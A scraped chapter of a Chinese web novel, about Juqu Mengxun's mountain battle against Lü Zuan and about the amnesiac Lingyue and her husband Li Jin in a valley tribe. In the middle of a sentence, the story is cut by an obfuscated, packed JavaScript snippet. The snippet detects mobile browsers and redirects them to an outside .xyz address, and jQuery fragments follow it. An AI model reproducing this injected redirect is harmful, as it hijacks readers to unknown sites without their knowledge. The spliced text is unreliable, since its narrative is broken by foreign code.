金山,沮渠罗仇发丧。
这日,沮渠蒙逊亲率三千黑铁骑屯聚于临松郡,为沮渠罗仇发丧。沮渠蒙逊一身黑衣铁甲,额间白色孝巾迎风烈烈,执刀站在金山断崖,听副将禀报:“十日前发出黑铁骑召集令,今日在金山为老单于发丧,已经聚集了一万余人。”
“留下四成,其余的埋伏在忽谷。”
“是。”
沮渠蒙逊眺望山下,狼烟起,那是吕纂的兵马将至,他冷冷问道:“沮渠男成那里呢?”
副将面有难色,不敢直视蒙逊少主的眼神,忐忑地说出刚得到的消息,“数日前,男成少主起兵酒泉乐涫,带了八千黑铁骑旧部改道建康,推举段太守为北凉大都督,男成少主还被封为了……辅国将军。”
挟天子以令诸侯,好一个辅国将军。
沮渠蒙逊的神情冷漠,“这个消息可曾散给吕光知道?”
副将答:“段业拥兵自立北凉,已传遍天下。”
“马权那边如何?”马权是段业门下侍郎,很受器重。
“无谶禅师传来消息,都已经准备好了。”
沮渠蒙逊冷哼了一声,这个无谶惯会逢迎,早前就私下与他交好对付段业,段业对无谶有知遇之恩,他背叛旧人投靠新主倒做得应手,“沮渠男成自寻死路,让无谶依计行事。”
“是。”副将离去。
金山之下吕纂的数万人马来势汹汹,即将有一场恶战。沮渠蒙逊好似早就料到沮渠男成的失约,并不恼火,他需要这场血战打磨黑铁骑,这是他用一个月时间,从追随伯父的残部和他的暗卫中建立的一支崭新军队,正等待战火的淬炼融合。
他身后,站着无数从腥风血雨里走来的匈奴儿郎,威猛,嗜血。
“卢水胡的勇士,山下氐族贼子就是我们的仇敌,伯父大单于带领尔勇士出生入死,然吕光昏聩,不辨忠奸,以吕延败军之罪,怨杀我卢水胡大单于和数万同袍,杀我主,灭我族,此恨不共戴天!”
“不共戴天!不共戴天!”敌众我寡,万众一心。
山下的吕纂安营扎寨,此时也得到了探子回报。
卢水胡在金山聚集沮渠罗仇的残兵败将不过数千,吕延和沮渠罗仇的兵败,令韬光养晦的吕纂做收渔翁之利。他的叔父吕延,向来支持父王所立的嫡长子吕绍为世子,姚苌假欲招降沮渠罗仇,吕光中了离间计,误会沮渠罗仇有反叛之心害吕延孤军奋战,遂下令诛杀沮渠罗仇,东征大军分崩离析。
昔日踏平西域的十万大军自此零落凉州,被吕光的几个儿子和手下瓜分势力,有的追随北凉段业,有的割据一隅,吕纂暗中有姚苌相助,先一步其弟吕弘和世子吕绍,得了吕延的兵权,又得吕光部将姜飞的支持,实力大增。
姜飞是平定西域追随吕光左右的老将,他谏言道:“上将军,兵祸莫大于轻敌,卢水胡屯聚金山,哀者胜矣,不如等大单于发丧之后困他们几日,再一举进攻,我军必胜。”
吕纂不以为然,“再等几日?沮渠罗仇已死困兽犹斗,我军数倍于敌人,难道还要等他们先发制人攻击我们不成?”姜飞为人谨慎,吕纂刚得到了叔父的数万兵马,正急于立威,姜飞知道自己拦不住吕纂,便退而求其次道:“金山易守难攻,不如火攻?”
吕纂大笑,“姜将军,你自己看金山有多少河流,我们去哪搞那么多火油?”姜飞还想再劝,被吕纂打住,“将军跟随我父王许久,怎变得也多疑起来?我军数倍于匈奴残兵,趁沮渠蒙逊根基未稳正好剿灭。”
姜飞暗恼,“上将军……”
“好了,姜将军若是怕了,我亲自领兵。”
吕纂不由分说,派人下令,点兵攻金山。
沮渠男成的黑铁骑擅长平原战,而沮渠蒙逊在金山聚集起来的这支军队不同,他们常年征战四方,凉州祁连山脉到处有这支铁蹄足迹,山丘伏击都是好手。老单于冤死在吕光手下,吕纂对他们要斩尽杀绝,是沮渠蒙逊千里单骑,登高一呼。
吕纂已远眺到半山的白色魂幡,一声令下:“杀!”
数万人马围剿上金山,这里是卢水胡的势力范围,他们刚丧主公大军悲愤齐心,吕纂的大军又不占天时地利,居然屡战屡败,两天都没能攻下金山。
眼看大军损失惨重,姜飞再次劝谏吕纂:“上将军,不如暂且放过穷寇,大局要紧。”
“探子报沮渠蒙逊不满五千,我两万大军就算脚踏也能将金山移平。”吕纂让人放话,他们要把沮渠罗仇的尸骨挫骨扬灰。此话一出,姜飞简直要跳脚,这是要把匈奴人逼上绝路,鱼死网破,哪怕只有五千人也能以一敌十。
金山易守难攻,吕纂大军的士气日渐衰落。他心有退意,但吕纂刚愎自用,退军就是颜面扫地。
沮渠蒙逊甚是狠毒,杀了山中猛兽幼崽,将它们的皮肉绑在快马上专往吕纂的营地驱赶。夜间,山下吕纂大营经常有猛兽的嚎叫与士兵的惨叫声。
卢水胡的人数其实不止数千,沮渠蒙逊的亲兵埋伏在忽谷深处,那是沮渠蒙逊最后的杀手锏。
僵持的第三日,杀手锏尚未出鞘,吕纂收到了吕光的快马急报。姜飞闯进吕纂的大帐,高声道:“段业反了,三河王命我军即刻启程,讨伐建康。”
吕纂正擦着铠甲上的鲜血,他昨夜杀了不少野兽,满眼仍是血红,“段业老儿敢反?他哪来的兵马?”
姜飞快速说明建康的兵变,他们被沮渠蒙逊拖住大军,给了北凉调兵的机会,“沮渠男成带八千兵马到了建康,推举段业为北凉大都督,张掖郡的守将马权举兵响应,马权是段业的人,定是早有预谋。”
吕纂不甘心,“可恨,沮渠蒙逊杀了我不少将士。”
“上将军,沮渠蒙逊已遭重创,恐怕他的黑铁骑不足千人,武威、张掖二郡可是凉州要塞,三河王有旨,再不出兵怕是凉州不保。”
终于,吕纂下令撤军,讨伐段业。
忽谷之地,沮渠蒙逊埋下六千黑铁骑伏兵,暗中修建出一条出山的小路,他早料到沮渠男成不会来金山为伯父发丧,于是他将计就计,祸水东引,故意放出消息沮渠男成和马权不合,争夺北凉兵权,建康如今是众矢之的,南凉毫无动静,西凉观望,端看沮渠男成这个辅国将军怎么应付吕光的讨伐大军。
“副将,金山活下来多少勇士?”
“禀少主,算上忽谷的伏兵,我们还有近万。”
“好,绕路去武威郡,就让男成在建康好好做他的辅国大将军吧。”
陇南,尧乎尔部落。
山谷中的绿地一望无垠,在不起眼的地方有个不起眼的白色帐篷,阿木用最坚固的杉木建起了木结构,树皮、兽皮和涂上松油白色亚麻布,让帐篷不仅住着舒服,又好看,又好闻。可偏偏这么美妙的地方,旁边建起来一个又小又矮的小帐,比邻铃月的住处。
铃月每次一出帐篷看见这个低矮的帐篷,不禁让人联想起——狗窝。赖在这样简陋窝棚里的,正是她最近冒出来的便宜夫君。
铃月醒来后几日,李四郎已遣商队回去,他美其名留下来督建水渠和梯田,陇南山谷是送粮的最后一站,修筑工事有玄玉阁的懂行管事在即可,尧乎尔的工事进行得很顺利,李掌事实无必要亲自留下。
奈何铃月记忆没有恢复,不想离开山谷,李瑾也觉得还不是时候出谷。商队所有人并不知道阿祇的身份,李瑾对外只说留下督造,三月后下山。
可气的是,铃月第一日的失态后冷静下来,就再不认他这个“夫君”。
一清早,铃月梳洗之后要去山头读经做早课,李瑾自从知道她这个习惯后,每日早早等在她的门口,像一只花山雀似的一见她就打招呼,“娘子,早!”
铃月客气地点头,“李郎君,早。”
他跑过来,浑身披着朝阳的露水,“都说了叫李郎君太见外了,叫我夫君,不然,叫四郎,元正,都行。哎,娘子你慢点走,小心身子……”李瑾跟在铃月身后,明明是郎才女貌,可是远处偷笑的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894157|154785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妇人们总觉得这李郎君矮了一截。
铃月拧巴地看着李瑾,突然站住脚步,李瑾差点撞在她身上。
“元正?”
“嗯。”李四郎笑得像个傻子。
铃月抱着一卷经文,是商队留下的礼物,念在李瑾给了她不少好东西的份上,她决定对这位陌生的夫君更有耐心些,“你,打算每日跟着我吗?”
李四郎的眸光闪着星光,欣喜地道:“那是自然。”
“没有自己的事要做?”
“我要做的事,就是保护好你。”他说得无比认真。铃月险些被气笑了,“我与元正不熟,就算你我以前是夫妻,可是谁家夫君总追着妻子跑?”
李四郎只听到一句,“不熟?”
铃月这两日着实有点困扰,很肯定地道:“不熟。”
李四郎委委屈屈地说:“抱也抱过了,孩子都有了,怎的不熟?即便不熟,才更要多多相处才能熟起来。”又是这套说辞,铃月无奈地转身,准备上早课去了。
诵经的时候,李瑾就默默坐在不远处看着她,仿佛还能闻到她身上的香味。浓烈而炙热的情感压抑在青年胸口,有时甜蜜,有时痛。当然李瑾选择性忽视痛楚,好不容易老天开眼,这次他绝不放手,只要每天一点点与阿祇拉近距离。
痛,即是快乐。
等阿祇做完早课,李瑾亲自砍柴烧火。
晚上他们不住在一起,但一起吃饭是个好的开始。阏氏想挽留他们住在大帐,被铃月婉拒了,她有自己的帐子和忙碌的事,李瑾脸皮厚,好不容易找到了娘子就没有再分开的道理。
李瑾拒绝阿木送吃食柴火,商队留下不少物资,他有手有脚,怎会照顾不好她们母子?
“咳咳……”帐篷外浓烟滚滚。
李瑾打得柴晒得不够干,烧起来全是烟。
铃月跑出来,从防雨棚里抱出一捆干树枝,膝盖一顶断成两截,勾出湿柴,然后将耐烧的松枝填进火里,火焰噼啪地烧了起来。
“娘子,让我来做。”
“你去河里挑两桶水。”
支走李瑾,铃月麻利地架锅烧水,加一把豌豆、粳米,还有山栗子,一起放在锅里熬煮,快熟的时候撒上枸杞,李四郎这才挑着水跑回来。
“娘子,放着我来!”
他灌满水缸,抢下铃月手里的刀,拿过刀又不知道要切什么,傻傻看了眼铃月,“我听娘子吩咐。”
“元正做一次饭,可知浪费了多少东西?”
铃月取来空罐,“这粉色的玫瑰盐是我和族人从几十里外的盐湖里提炼出来的,烧了几个时辰,过滤六次才得一小罐,你昨日说要腌肉就用光了整坛盐。”
“娘子莫气,我不知道这些东西这么宝贵,商队留下了马匹,以后缺什么,我下山去买。”
“你若无事可做,不如帮独居的老人们带药材出去换些银钱,我身体无碍,明日打算回水渠工地看看。”
“不行,娘子不能一个人上山,我陪你一起。”
铃月用勺子搅了搅锅里冒泡的米羹,很是香糯,她笑着说:“我在这里住了两个月,盖帐篷、纺织、晒盐、採药材都是这样过来的,只是怀个孕,又不是要噶了,适当运动释放内啡肽,还能让身心愉悦。”
这几日她想明白了,她不记得孩子的爹,但她想珍惜这个孩子,怀孕是条没有回头路的单行线,不如坦然接受,顺其自然。
李瑾有些糊涂,“娘子,你说什么菜让你愉悦?”
他抓重点,一向很明确。
铃月想尝口米羹的味道,刚到嘴边的勺子一顿,好像也想不起刚才都说了什么,头一阵痛。
李瑾忙扶她坐了下来,“别急,是不是又头晕了?”
“无妨,可能是低血糖。”
虽然李瑾不懂什么是低血糖,但糖这个字他可听见了,他跑到他的小窝棚抱出一个罐子,打开封盖,伸手取出一个神秘的东西,送到铃月嘴边,“娘子,吃糖!”